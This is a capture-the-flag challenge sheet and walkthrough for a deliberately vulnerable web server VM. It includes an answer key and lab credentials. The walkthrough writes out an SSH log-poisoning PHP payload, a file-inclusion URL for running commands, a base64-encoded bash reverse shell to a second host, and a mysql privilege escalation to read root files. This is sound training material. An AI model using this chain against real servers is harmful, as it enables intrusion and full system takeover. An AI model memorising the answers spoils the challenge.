CAN YOU SEE IT?

CTF challenge

[Publish Date]

European Cyber Security Challenge 2019
Bucharest, Romania

1. Initial Write-Up

Know Your Brand PLC currently experienced cybersecurity incidents and managed to roll back to previous backups. Your task is to run an assessment on the webserver accessible from the internet and try to figure out what the attackers' tools and tactics were by recovering the proof.txt file from the server.

2. Challenge specifications

- Category: Web vulnerabilities/Linux/Network/Exploiting/Reversing/Logpoison, base64 encoding,
- Difficulty : Medium
- Expected time to solve: 2 hours to solve (aprx)

3. Technical specifications

Description:

Challenge Technical Specification, data to set up and access to the environment.

- IP address: network assigned
- Ubuntu 16.04
- challenges / DrKTalm3451A1
- log poisining, ssh, mySQL, pyhton, , php reverse shell
- proof.txt
- Minimum setup requirements 2GB, 2 cores

4. Questions and answers

Question:

What is the hash of proof.txt?

Answer: a1bb810768137a9275486851a657082b

Question:

Which file is vulnerable for file inclusion?

Answer:

read.php

Question:

Which process is included in the sudoers file?

Answer:

www-data

5. Attack Scenario

Attackers managed to infiltrate the system, you as incident investigator recover their tools and tactics.

6. Installation instructions

Setup for the organizers

The attached 'challenge_6' VM needs to be imported into the virtualization environment, the VM's will gain IP address from the network, they have no pre-set IPs. Players need to be able to connect to the defined subnet

Setup for the players

After installing and starting VirtualBox they can access the VM from their network (bridge, NAT, NAT network, host only). The VMs have no pre-set IPs.

7. Tools needed

Description:

Tools needed for the solution of the challenge

- General Linux tools
- General web scripting/coding knowledge
- Log poisoning
- Code injection scripting
- Reverse shell
- General python knowledge

8. Artefacts Provided

Description:

List of artifacts provided with checksums.

Name	**Format**	**Comment**	**Checksum (SHA256)**
Challenge_6.zip	Compressed zip		26ce919873d6680e92c74b61c197573171723add83bf155bf3cced9741bc7aa1
walkthrough6.dcx	Word Document		f5cb8f8e9c740141fefea822de6df5aab248ce26d2f301fdef3d077336892f94

Walkthrough

Description:

1. Webserver is running on port 25000 Ubuntu 16.04 with 4.4.0-116-generic kernel and Apache 2.4.18 is installed.
2. /upload directory can be found on the server
3. There is an upload.php. This can **not** be used for upload!
4. However, in read.php the filename parameter is vulnerable to file inclusion vulnerability
5. **/var/log/auth.log** can be read by www-data
6. Log poisoning technique can be used for RCE. e.g:
7. ssh '<?php system(base64_decode($_GET['c']); ?>'@192.168.0.122. The PHP command included in the log file. The following command can be used to run ifconfig command on the remote host: http://192.168.0.122:25000/upload/read.php?filename=/var/log/auth.log&c=aWZjb25maWc=
8. base64 encoding is useful in order to run more sophisticated commands (by default spaces are not allowed in url.)
9. Using this vulnerability, it is possible to do a reverse shell: http://192.168.0.122:25000/upload/read.php?filename=/var/log/auth.log&c=L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xNzgvNDQ0NCAwPiYxJw==
10. Create interactive reverse shell: python -c 'import pty; pty.spawn("/bin/bash")'
11. www-data included in the sudoers file. www-data can run mysql without password.
12. SETUID bit is set on mysql file: -rwsr-sr-x 1 root root
13. mysql has a default password: **root/root**
14. run os-command as root from mysql (e.g: \! cat /root/proof.txt)